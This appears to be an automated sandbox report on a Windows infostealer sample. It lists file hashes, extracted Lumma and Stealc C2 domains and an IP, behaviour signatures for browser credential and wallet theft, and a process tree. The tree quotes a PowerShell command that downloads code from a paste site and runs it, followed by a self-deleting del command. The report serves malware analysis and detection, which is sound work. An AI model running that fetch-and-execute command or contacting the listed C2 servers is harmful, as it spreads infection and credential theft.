Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    10-10-2024 01:15

General

  • Target

    2024-10-10_71885d64a99f852752f10a610d6323f8_poet-rat_snatch.exe

  • Size

    7.5MB

  • MD5

    71885d64a99f852752f10a610d6323f8

  • SHA1

    3fd47f10f4b3aaafa78be32c7acc1607a8eedf0b

  • SHA256

    47eadd0c65fedb7357abe72ab7f69a3fe50f409cecda40008e3b267df069f2f0

  • SHA512

    6de24fcabbe7a9329de3703dc689b587a9622a72d3be803bd169295968da6e950eb11f9fdeadf330239473fd85b3d7d2cb16fe313b40d338dde9bc4a70cf7bd1

  • SSDEEP

    98304:STjTJ+nOLBEt7imKJk/aNZSVFRMIIHgZa4x:Sl+nO+dIYFRMzAZ

Malware Config

Extracted

Family

lumma

C2

https://drawwyobstacw.sbs

https://condifendteu.sbs

https://ehticsprocw.sbs

https://vennurviot.sbs

https://resinedyw.sbs

https://enlargkiw.sbs

https://allocatinow.sbs

https://mathcucom.sbs

Extracted

Family

stealc

Botnet

mainteam

C2

http://95.182.96.50

Attributes
  • url_path

    /2aced82320799c96.php

Signatures

  • Lumma Stealer, LummaC

    Lumma or LummaC is an infostealer written in C++ first seen in August 2022.

  • Stealc

    Stealc is an infostealer written in C++.

  • Blocklisted process makes network request 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Powershell Invoke Web Request.

  • Downloads MZ/PE file
  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 2 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Indicator Removal: File Deletion 1 TTPs

    Adversaries may delete files left behind by the actions of their intrusion activity.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 3 IoCs
  • Drops file in Program Files directory 3 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 9 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • GoLang User-Agent 8 IoCs

    Uses default user-agent string defined by GoLang HTTP packages.

  • Modifies system certificate store 2 TTPs 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 58 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2024-10-10_71885d64a99f852752f10a610d6323f8_poet-rat_snatch.exe
    "C:\Users\Admin\AppData\Local\Temp\2024-10-10_71885d64a99f852752f10a610d6323f8_poet-rat_snatch.exe"
    1⤵
    • Drops file in Program Files directory
    • Modifies system certificate store
    • Suspicious use of WriteProcessMemory
    PID:5068
    • C:\Windows\System32\Wbem\wmic.exe
      wmic cpu get name
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:64
    • C:\Program Files\launcher289\1.exe
      "C:\Program Files\launcher289\1.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of SetThreadContext
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4952
      • C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
        "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
        3⤵
        • System Location Discovery: System Language Discovery
        PID:4728
    • C:\Windows\System32\Wbem\wmic.exe
      wmic cpu get name
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:3716
    • C:\Windows\System32\Wbem\wmic.exe
      wmic cpu get name
      2⤵
        PID:3032
      • C:\Program Files\launcher289\2.exe
        "C:\Program Files\launcher289\2.exe"
        2⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:4512
        • C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
          "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
          3⤵
          • Loads dropped DLL
          • System Location Discovery: System Language Discovery
          • Checks processor information in registry
          • Suspicious behavior: EnumeratesProcesses
          PID:4224
      • C:\Windows\System32\Wbem\wmic.exe
        wmic cpu get name
        2⤵
          PID:4156
        • C:\Windows\System32\Wbem\wmic.exe
          wmic cpu get name
          2⤵
            PID:3688
          • C:\Program Files\launcher289\3.exe
            "C:\Program Files\launcher289\3.exe"
            2⤵
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:3456
            • C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
              "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
              3⤵
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:3428
              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                powershell -ep bypass "Invoke-Command -ScriptBlock ( [ScriptBlock]::Create( ( Invoke-WebRequest -UseBasicParsing -URI "https://paste.ee/d/7BWJv" ) ) )"
                4⤵
                • Blocklisted process makes network request
                • Command and Scripting Interpreter: PowerShell
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of WriteProcessMemory
                PID:5084
                • C:\Windows\SysWOW64\whoami.exe
                  "C:\Windows\system32\whoami.exe" /groups /fo csv
                  5⤵
                  • System Location Discovery: System Language Discovery
                  PID:1048
              • C:\Windows\SysWOW64\cmd.exe
                cmd.exe /c del /f /q "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
                4⤵
                • System Location Discovery: System Language Discovery
                PID:4424
          • C:\Windows\System32\Wbem\wmic.exe
            wmic cpu get name
            2⤵
              PID:3528

          Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

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          Downloads

          • C:\Program Files\launcher289\1.exe

            Filesize

            14.0MB

            MD5

            f816ec2e35b6ea07e48da98d7f481485

            SHA1

            e6d491438243e948fe7565de451d49663768ee36

            SHA256

            1481e5c24f1c5b119255058d0c3b47680badb194adf7e4282285c88366406a28

            SHA512

            4cab56b94982c1e6189473800cb7b707248dec9135149d0495073c691dd79c8722c5e259f0bf59341a4a065487f84ac3bdfb2e942decf85b05f4c710c2d71104

          • C:\Program Files\launcher289\2.exe

            Filesize

            13.1MB

            MD5

            7a71d68fd14c17c55210f369432be07e

            SHA1

            c68a576117c091a2317c41cc903daff80930b15c

            SHA256

            a67a14776f7f9fa4ccd2ce0507416ec2c2d1a343db5076ad0828377edeba56b4

            SHA512

            9b4784b05adb20fdaf1bdf52749a642da771d42ea2697427664926f39979992027629f42f33d5f1aac2eb41070bbe03c69898de073e02836aa71ea6b953cc710

          • C:\Program Files\launcher289\3.exe

            Filesize

            12.5MB

            MD5

            a0dc7564cc76113554ab0a96be832dd0

            SHA1

            24936984135732a925fa9876c75307c0a9a2b25f

            SHA256

            6b2857b2f5166a00daa2c699ee9c7c72371d8bb49eadefaaf3d81d189c1ef577

            SHA512

            00be3708f0d770cfb0bb7e2f081334b1f60146eba34551d551751997b3ba6982674b68485c6d5c88bb461fb208d9cf61c36ceea92c1b7f16d28c5a52b1dbea70

          • C:\ProgramData\mozglue.dll

            Filesize

            593KB

            MD5

            c8fd9be83bc728cc04beffafc2907fe9

            SHA1

            95ab9f701e0024cedfbd312bcfe4e726744c4f2e

            SHA256

            ba06a6ee0b15f5be5c4e67782eec8b521e36c107a329093ec400fe0404eb196a

            SHA512

            fbb446f4a27ef510e616caad52945d6c9cc1fd063812c41947e579ec2b54df57c6dc46237ded80fca5847f38cbe1747a6c66a13e2c8c19c664a72be35eb8b040

          • C:\ProgramData\nss3.dll

            Filesize

            2.0MB

            MD5

            1cc453cdf74f31e4d913ff9c10acdde2

            SHA1

            6e85eae544d6e965f15fa5c39700fa7202f3aafe

            SHA256

            ac5c92fe6c51cfa742e475215b83b3e11a4379820043263bf50d4068686c6fa5

            SHA512

            dd9ff4e06b00dc831439bab11c10e9b2ae864ea6e780d3835ea7468818f35439f352ef137da111efcdf2bb6465f6ca486719451bf6cf32c6a4420a56b1d64571

          • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hgw0tmep.erw.ps1

            Filesize

            60B

            MD5

            d17fe0a3f47be24a6453e9ef58c94641

            SHA1

            6ab83620379fc69f80c0242105ddffd7d98d5d9d

            SHA256

            96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

            SHA512

            5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

          • memory/3428-87-0x0000000000400000-0x0000000000423000-memory.dmp

            Filesize

            140KB

          • memory/3428-86-0x0000000000400000-0x0000000000423000-memory.dmp

            Filesize

            140KB

          • memory/4224-16-0x0000000000400000-0x0000000000643000-memory.dmp

            Filesize

            2.3MB

          • memory/4224-18-0x0000000061E00000-0x0000000061EF3000-memory.dmp

            Filesize

            972KB

          • memory/4224-17-0x0000000000400000-0x0000000000643000-memory.dmp

            Filesize

            2.3MB

          • memory/4728-11-0x0000000000650000-0x00000000006AD000-memory.dmp

            Filesize

            372KB

          • memory/4728-6-0x0000000000650000-0x00000000006AD000-memory.dmp

            Filesize

            372KB

          • memory/4728-8-0x0000000000650000-0x00000000006AD000-memory.dmp

            Filesize

            372KB

          • memory/4728-4-0x0000000000650000-0x00000000006AD000-memory.dmp

            Filesize

            372KB

          • memory/5084-90-0x0000000004B30000-0x0000000004B52000-memory.dmp

            Filesize

            136KB

          • memory/5084-106-0x0000000006020000-0x000000000603A000-memory.dmp

            Filesize

            104KB

          • memory/5084-91-0x0000000005430000-0x0000000005496000-memory.dmp

            Filesize

            408KB

          • memory/5084-92-0x00000000054A0000-0x0000000005506000-memory.dmp

            Filesize

            408KB

          • memory/5084-88-0x0000000002500000-0x0000000002536000-memory.dmp

            Filesize

            216KB

          • memory/5084-102-0x00000000056A0000-0x00000000059F4000-memory.dmp

            Filesize

            3.3MB

          • memory/5084-103-0x0000000005AD0000-0x0000000005AEE000-memory.dmp

            Filesize

            120KB

          • memory/5084-104-0x0000000005B10000-0x0000000005B5C000-memory.dmp

            Filesize

            304KB

          • memory/5084-105-0x0000000007110000-0x000000000778A000-memory.dmp

            Filesize

            6.5MB

          • memory/5084-89-0x0000000004C50000-0x0000000005278000-memory.dmp

            Filesize

            6.2MB

          • memory/5084-107-0x0000000007100000-0x000000000710A000-memory.dmp

            Filesize

            40KB

          • memory/5084-108-0x0000000008CD0000-0x00000000091FC000-memory.dmp

            Filesize

            5.2MB

          • memory/5084-109-0x00000000089B0000-0x0000000008B72000-memory.dmp

            Filesize

            1.8MB

          • memory/5084-110-0x00000000088A0000-0x0000000008936000-memory.dmp

            Filesize

            600KB

          • memory/5084-111-0x0000000008850000-0x0000000008872000-memory.dmp

            Filesize

            136KB

          • memory/5084-112-0x00000000097B0000-0x0000000009D54000-memory.dmp

            Filesize

            5.6MB

          • memory/5084-114-0x0000000004850000-0x0000000004862000-memory.dmp

            Filesize

            72KB

          • memory/5084-214-0x00000000094D0000-0x0000000009562000-memory.dmp

            Filesize

            584KB